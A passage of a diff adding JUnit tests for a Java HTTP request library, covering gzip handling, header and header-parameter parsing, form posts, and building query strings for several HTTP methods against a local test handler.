+          output = new GZIPOutputStream(response.getOutputStream());
+        } catch (IOException e) {
+          throw new RuntimeException(e);
+        }
+        try {
+          output.write("hello compressed".getBytes(CHARSET_UTF8));
+        } catch (IOException e) {
+          throw new RuntimeException(e);
+        } finally {
+          try {
+            output.close();
+          } catch (IOException ignored) {
+            // Ignored
+          }
+        }
+      }
+    };
+    HttpRequest request = get(url).acceptGzipEncoding().uncompress(true);
+    assertTrue(request.ok());
+    assertEquals("hello compressed", request.body(CHARSET_UTF8));
+  }
+
+  /**
+   * Make a GET request that should be compressed but isn't
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getNonGzippedWithUncompressEnabled() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        if (!"gzip".equals(request.getHeader("Accept-Encoding")))
+          return;
+
+        write("hello not compressed");
+      }
+    };
+    HttpRequest request = get(url).acceptGzipEncoding().uncompress(true);
+    assertTrue(request.ok());
+    assertEquals("hello not compressed", request.body(CHARSET_UTF8));
+  }
+
+  /**
+   * Get header with multiple response values
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getHeaders() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.addHeader("a", "1");
+        response.addHeader("a", "2");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    String[] values = request.headers("a");
+    assertNotNull(values);
+    assertEquals(2, values.length);
+    assertTrue(Arrays.asList(values).contains("1"));
+    assertTrue(Arrays.asList(values).contains("2"));
+  }
+
+  /**
+   * Get header values when not set in response
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getEmptyHeaders() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    String[] values = request.headers("a");
+    assertNotNull(values);
+    assertEquals(0, values.length);
+  }
+
+  /**
+   * Get header parameter value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getSingleParameter() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "b;c=d");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertEquals("d", request.parameter("a", "c"));
+  }
+
+  /**
+   * Get header parameter value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getMultipleParameters() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "b;c=d;e=f");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertEquals("d", request.parameter("a", "c"));
+    assertEquals("f", request.parameter("a", "e"));
+  }
+
+  /**
+   * Get header parameter value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getSingleParameterQuoted() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "b;c=\"d\"");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertEquals("d", request.parameter("a", "c"));
+  }
+
+  /**
+   * Get header parameter value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getMultipleParametersQuoted() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "b;c=\"d\";e=\"f\"");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertEquals("d", request.parameter("a", "c"));
+    assertEquals("f", request.parameter("a", "e"));
+  }
+
+  /**
+   * Get header parameter value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getMissingParameter() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "b;c=d");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertNull(request.parameter("a", "e"));
+  }
+
+  /**
+   * Get header parameter value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getParameterFromMissingHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "b;c=d");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertNull(request.parameter("b", "c"));
+    assertTrue(request.parameters("b").isEmpty());
+  }
+
+  /**
+   * Get header parameter value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getEmptyParameter() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "b;c=");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertNull(request.parameter("a", "c"));
+    assertTrue(request.parameters("a").isEmpty());
+  }
+
+  /**
+   * Get header parameter value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getEmptyParameters() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "b;");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertNull(request.parameter("a", "c"));
+    assertTrue(request.parameters("a").isEmpty());
+  }
+
+  /**
+   * Get header parameter values
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getParameters() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "value;b=c;d=e");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    Map<String, String> params = request.parameters("a");
+    assertNotNull(params);
+    assertEquals(2, params.size());
+    assertEquals("c", params.get("b"));
+    assertEquals("e", params.get("d"));
+  }
+
+  /**
+   * Get header parameter values
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getQuotedParameters() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "value;b=\"c\";d=\"e\"");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    Map<String, String> params = request.parameters("a");
+    assertNotNull(params);
+    assertEquals(2, params.size());
+    assertEquals("c", params.get("b"));
+    assertEquals("e", params.get("d"));
+  }
+
+  /**
+   * Get header parameter values
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getMixQuotedParameters() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "value; b=c; d=\"e\"");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    Map<String, String> params = request.parameters("a");
+    assertNotNull(params);
+    assertEquals(2, params.size());
+    assertEquals("c", params.get("b"));
+    assertEquals("e", params.get("d"));
+  }
+
+  /**
+   * Verify getting date header with default value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void missingDateHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+      }
+    };
+    assertEquals(1234L, get(url).dateHeader("missing", 1234L));
+  }
+
+  /**
+   * Verify getting date header with default value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void malformedDateHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("malformed", "not a date");
+      }
+    };
+    assertEquals(1234L, get(url).dateHeader("malformed", 1234L));
+  }
+
+  /**
+   * Verify getting int header with default value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void missingIntHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+      }
+    };
+    assertEquals(4321, get(url).intHeader("missing", 4321));
+  }
+
+  /**
+   * Verify getting int header with default value
+   *
+   * @throws Exception
+   */
+  @Test
+  public void malformedIntHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("malformed", "not an integer");
+      }
+    };
+    assertEquals(4321, get(url).intHeader("malformed", 4321));
+  }
+
+  /**
+   * Verify sending form data as a sequence of {@link Entry} objects
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postFormAsEntries() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    Map<String, String> data = new LinkedHashMap<String, String>();
+    data.put("name", "user");
+    data.put("number", "100");
+    HttpRequest request = post(url);
+    for (Entry<String, String> entry : data.entrySet())
+      request.form(entry);
+    int code = request.code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("name=user&number=100", body.get());
+  }
+
+  /**
+   * Verify sending form data where entry value is null
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postFormEntryWithNullValue() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    Map<String, String> data = new LinkedHashMap<String, String>();
+    data.put("name", null);
+    HttpRequest request = post(url);
+    for (Entry<String, String> entry : data.entrySet())
+      request.form(entry);
+    int code = request.code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("name=", body.get());
+  }
+
+  /**
+   * Verify POST with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postWithMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "user");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = post(url, inputParams, false);
+    assertTrue(request.ok());
+    assertEquals("POST", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify POST with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postWithVaragsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = post(url, false, "name", "user", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("POST", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify POST with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postWithEscapedMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "us er");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = post(url, inputParams, true);
+    assertTrue(request.ok());
+    assertEquals("POST", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify POST with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postWithEscapedVarargsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = post(url, true, "name", "us er", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("POST", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify POST with numeric query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postWithNumericQueryParams() throws Exception {
+    Map<Object, Object> inputParams = new HashMap<Object, Object>();
+    inputParams.put(1, 2);
+    inputParams.put(3, 4);
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("1", request.getParameter("1"));
+        outputParams.put("3", request.getParameter("3"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = post(url, inputParams, false);
+    assertTrue(request.ok());
+    assertEquals("POST", method.get());
+    assertEquals("2", outputParams.get("1"));
+    assertEquals("4", outputParams.get("3"));
+  }
+
+  /**
+   * Verify GET with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getWithMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "user");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(url, inputParams, false);
+    assertTrue(request.ok());
+    assertEquals("GET", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify GET with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getWithVarargsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(url, false, "name", "user", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("GET", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify GET with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getWithEscapedMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "us er");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(url, inputParams, true);
+    assertTrue(request.ok());
+    assertEquals("GET", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify GET with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getWithEscapedVarargsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(url, true, "name", "us er", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("GET", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify DELETE with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void deleteWithMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "user");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = delete(url, inputParams, false);
+    assertTrue(request.ok());
+    assertEquals("DELETE", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify DELETE with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void deleteWithVarargsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = delete(url, false, "name", "user", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("DELETE", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify DELETE with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void deleteWithEscapedMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "us er");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = delete(url, inputParams, true);
+    assertTrue(request.ok());
+    assertEquals("DELETE", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify DELETE with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void deleteWithEscapedVarargsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = delete(url, true, "name", "us er", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("DELETE", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify PUT with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void putWithMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "user");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = put(url, inputParams, false);
+    assertTrue(request.ok());
+    assertEquals("PUT", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify PUT with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void putWithVarargsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = put(url, false, "name", "user", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("PUT", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify PUT with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void putWithEscapedMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "us er");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = put(url, inputParams, true);
+    assertTrue(request.ok());
+    assertEquals("PUT", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify PUT with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void putWithEscapedVarargsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = put(url, true, "name", "us er", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("PUT", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify HEAD with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void headWithMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "user");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = head(url, inputParams, false);
+    assertTrue(request.ok());
+    assertEquals("HEAD", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify HEAD with query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void headWithVaragsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = head(url, false, "name", "user", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("HEAD", method.get());
+    assertEquals("user", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify HEAD with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void headWithEscapedMappedQueryParams() throws Exception {
+    Map<String, String> inputParams = new HashMap<String, String>();
+    inputParams.put("name", "us er");
+    inputParams.put("number", "100");
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = head(url, inputParams, true);
+    assertTrue(request.ok());
+    assertEquals("HEAD", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Verify HEAD with escaped query parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void headWithEscapedVarargsQueryParams() throws Exception {
+    final Map<String, String> outputParams = new HashMap<String, String>();
+    final AtomicReference<String> method = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        method.set(request.getMethod());
+        outputParams.put("name", request.getParameter("name"));
+        outputParams.put("number", request.getParameter("number"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = head(url, true, "name", "us er", "number", "100");
+    assertTrue(request.ok());
+    assertEquals("HEAD", method.get());
+    assertEquals("us er", outputParams.get("name"));
+    assertEquals("100", outputParams.get("number"));
+  }
+
+  /**
+   * Append with base URL with no path
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendMappedQueryParamsWithNoPath() throws Exception {
+    assertEquals(
+        "http://test.com/?a=b",
+        HttpRequest.append("http://test.com",
+            Collections.singletonMap("a", "b")));
+  }
+
+  /**
+   * Append with base URL with no path
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendVarargsQueryParmasWithNoPath() throws Exception {
+    assertEquals("http://test.com/?a=b",
+        HttpRequest.append("http://test.com", "a", "b"));
+  }
+
+  /**
+   * Append with base URL with path
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendMappedQueryParamsWithPath() throws Exception {
+    assertEquals(
+        "http://test.com/segment1?a=b",
+        HttpRequest.append("http://test.com/segment1",
+            Collections.singletonMap("a", "b")));
+    assertEquals(
+        "http://test.com/?a=b",
+        HttpRequest.append("http://test.com/",
+            Collections.singletonMap("a", "b")));
+  }
+
+  /**
+   * Append with base URL with path
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendVarargsQueryParamsWithPath() throws Exception {
+    assertEquals("http://test.com/segment1?a=b",
+        HttpRequest.append("http://test.com/segment1", "a", "b"));
+    assertEquals("http://test.com/?a=b",
+        HttpRequest.append("http://test.com/", "a", "b"));
+  }
+
+  /**
+   * Append multiple params
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendMultipleMappedQueryParams() throws Exception {
+    Map<String, Object> params = new LinkedHashMap<String, Object>();
+    params.put("a", "b");
+    params.put("c", "d");
+    assertEquals("http://test.com/1?a=b&c=d",
+        HttpRequest.append("http://test.com/1", params));
+  }
+
+  /**
+   * Append multiple params
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendMultipleVarargsQueryParams() throws Exception {
+    assertEquals("http://test.com/1?a=b&c=d",
+        HttpRequest.append("http://test.com/1", "a", "b", "c", "d"));
+  }
+
+  /**
+   * Append null params
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendNullMappedQueryParams() throws Exception {
+    assertEquals("http://test.com/1",
+        HttpRequest.append("http://test.com/1", (Map<?, ?>) null));
+  }
+
+  /**
+   * Append null params
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendNullVaragsQueryParams() throws Exception {
+    assertEquals("http://test.com/1",
+        HttpRequest.append("http://test.com/1", (Object[]) null));
+  }
+
+  /**
+   * Append empty params
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendEmptyMappedQueryParams() throws Exception {
+    assertEquals(
+        "http://test.com/1",
+        HttpRequest.append("http://test.com/1",
+            Collections.<String, String> emptyMap()));
+  }
+
+  /**
+   * Append empty params
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendEmptyVarargsQueryParams() throws Exception {
+    assertEquals("http://test.com/1",
+        HttpRequest.append("http://test.com/1", new Object[0]));
+  }
+
+  /**
+   * Append params with null values
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendWithNullMappedQueryParamValues() throws Exception {
+    Map<String, Object> params = new LinkedHashMap<String, Object>();
+    params.put("a", null);
+    params.put("b", null);
+    assertEquals("http://test.com/1?a=&b=",
+        HttpRequest.append("http://test.com/1", params));
+  }
+
+  /**
+   * Append params with null values
+   *
+   * @throws Exception
+   */
+  @Test
+  public void appendWithNullVaragsQueryParamValues() throws Exception {
+    assertEquals("http://test.com/1?a=&b=",
+        HttpRequest.append("http://test.com/1", "a", null, "b", null));
+  }
+
+  /**
+   * Try to append with wrong number of arguments
+   */
+  @Test(expected = IllegalArgumentException.class)
+  public void appendOddNumberOfParams() {
